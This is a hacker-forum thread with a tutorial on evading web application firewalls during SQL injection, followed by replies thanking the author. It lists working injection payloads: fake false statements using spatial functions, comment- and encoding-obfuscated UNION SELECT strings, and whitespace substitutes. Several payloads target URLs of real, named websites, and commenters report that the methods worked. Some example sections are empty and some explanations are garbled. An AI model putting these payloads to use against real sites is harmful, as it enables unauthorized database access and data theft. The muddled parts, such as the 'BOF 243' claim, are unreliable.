

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] Integrated Series To Byappsing All Kinds Of WAF Method \[Part One And Two\]](#)

pishicat_Injector - October 3, 2017, 11:53 pm

Hi EveryBody How Are You This Is My Second Tutorial Here Hope You Love My Work As He Help Full

This Is Leasen And All Information Here Come To You By GHI Team Hard Work

In this integrated series we will learning how to byappsing all kinds of WAF method

In Part One We will see how to bypassing False Statement WAF & In Part Two will see how to bypassing Union Based WAF

BTW : I use start * with word's that block by HF firwall Like fro*m , unio*n , selec*t ETC.

Let us learn how to do it ?

•???? ? Part_One_False_Statement_WAF ? ????

A false statement is a statement that is untrue but not necessarily told to mislead, as a statement given by someone who does not know it is untrue ,A false statement need not be a lie.

A lie is a statement that is known to be untrue and is used to mislead. A false statement is a statement that is untrue but not necessarily told to mislead, as a statement given by someone who does not know it is untrue.

Let us Starting :)

In Normal Case if you get Forbedden Or Not Acceptable in False Statement ,like And 0 Or Limt 0 ETC. you can BYpassing By My Hot Solution Like.

1- And point(53,12)

In SQL Server spatial data, a Point is a 0-dimensional object representing a single location and may contain Z (elevation) and M (measure) values.

2- And Polygon(Point(53,12))

A Polygon is a two-dimensional surface stored as a sequence of points defining an exterior bounding ring and zero or more interior rings, The function polygon()

only work with the function point() & A MultiPolygon instance is a collection of zero or more Polygon instances.

3- And ST_IsEmpty(0)

ST_IsEmpty — Returns true if this Geometry is an empty geometrycollection, polygon, point etc.

_Example ?

PHP Code

<?php

https://pizzacrust.com.pk/deals.php?id=.38" And 0 order by 100 asc-- -

PHP Code

<?php

https://pizzacrust.com.pk/deals.php?id=.38" And ST_IsEmpty(0) order by 100 asc-- -

PHP Code

<?php

https://pizzacrust.com.pk/deals.php?id=.38" And point(53,12) order by 100 asc-- -

•???? ? Part_Two_Union_Based_WAF ? ????

union based sql injection

Information Credit JaNuS18

UNION is used to combine the result from multiple SELECT statements into a single result set.

If you want to combine your query with original one (from web page) using UNION, you must have same number of columns in your SELECT statement and columns

should have the same data type, That is why you first need to find proper columns count used in original query. Otherwise UNION won't work at all, When you inject

using UNION you try to nullify original query, so data from your query are displayed instead.

There, in those vulnerable columns, you can put your SQL commands

which will instruct DB server to give you back some data you want, Normally (some) columns from original query display data from database on web page.

As we nullify original query, our number(s) from injected select (1,2,3,4,5...) are displayed instead.

That way we see which columns in original query are

used on that specific web page for displaying data from some table/tables. In such vulnerable columns you can inject your code like version(),database() or syntax,

to display you tables, columns, data from tables... After successful injection data from original query are not displayed (as we nullify it) and data from your injected

SQL is displayed instead.

For better understanding you should learn SQL first.

Let us Starting :)

In Normal Case if you get Forbidden in 'Union Select' that's mean the waf block 'union' and to

bypass you can use comment's like

And if you get Not Acceptable in 'Unio*n Selec*t' that's mean the waf block 'Selec*t' and to bypass you can use comment's like

And if you get Forbidden Or Not Acceptable in 'Unio*n Selec*t' and you can't bypassing the WAF with comment's like `/*!50000Unio*n*/ /*!00000Selec*t*/` that's mean the firewall is blocking the combine use of unio*n and selec*t so the waf bypass should be applied in between unio*n and selec*t words.

•???? ? Method To Bypassing WAF That's blocking the combine 'Unio*n Selec*t' ? ????

1- By Using Word's in between unio*n and selec*t Like

[Bypass Applied In Between]

_Example ?

PHP Code

`<?php`

`www.HF/GHT?id=1' And/**/.0unio*n/*%26*/distinctROW+selec*t@,2,3-- -`

2- By Using URL Encode

_Example ?

3- By Using Alphanumeric letters

| Capital Letters |

_Example ?

4- By Using BOF | Buffer Overflow |

There Are Many BOF Solution But I prefer BOF 243 ,With BOF 243 This is the least value you can ever use & this BOF 243 will nulling all columns , so you can't use BOF 242 dosen't work.

•???? ? BOF 243 ? ????

_Example ?

_Part_One_&_Two_Ending ?

See You Soon In Part Three

Regards

pishicat_Injector - *October 13, 2017, 10:47 pm*

|| Comment's || NukeSentinel (Nuke Evolution) ||

PHP Code

```
<?php
/*!00000*/
/**/
/*X*/
/**X**/
/*%26*/
/%2A%2A/
%2f**%2f
```

| WhiteSpace Block |

This method will apply the Find and Replace feature to replace blank spaces with nothing or underscore/dash/comma/%0a from selected cells easily.

PHP Code

```
<?php
%0a
%0b
%0d
%C0
%20
%09
%0c
%a0
```

PHP Code

```
<?php
And%a01 UniOn%a0dIstiNctRoW SeLEcT
```

| Parenthesis Instead Of Space | (-1)union (select 1,2) | (-1)UNION(SELECT/_(1),(2))

.
.
.

PHP Code

```
<?php
didaticativa.com/historia_companhia.php?id=-216%0dunion%0dselselectect%0d1,2,concat (0x223e
,3,0x3c212d2d)--
```

pishicat_Injector - November 2, 2017, 9:34 pm

[Tutorial] Integrated Series To Byapping All Kinds Of WAF Method [Part One And Two]

?

sksaini2221 - November 4, 2017, 9:26 am

thanks bro very helpful waiting for next tut

jinja69 - November 16, 2017, 6:14 pm

very hard to remember all query

test_ - November 22, 2017, 6:44 am

This tutorial very help me. Thank's for it

The_Defiant_One - November 24, 2017, 5:42 am

Good stuff here. Can't wait for more tutorials and thanks for sharing!

Marduno - November 24, 2017, 7:27 pm

Excellent tut, tried it and it seemed to work well. Good job OP :).

/wrists - December 1, 2017, 11:16 am

how come you spell forbedden?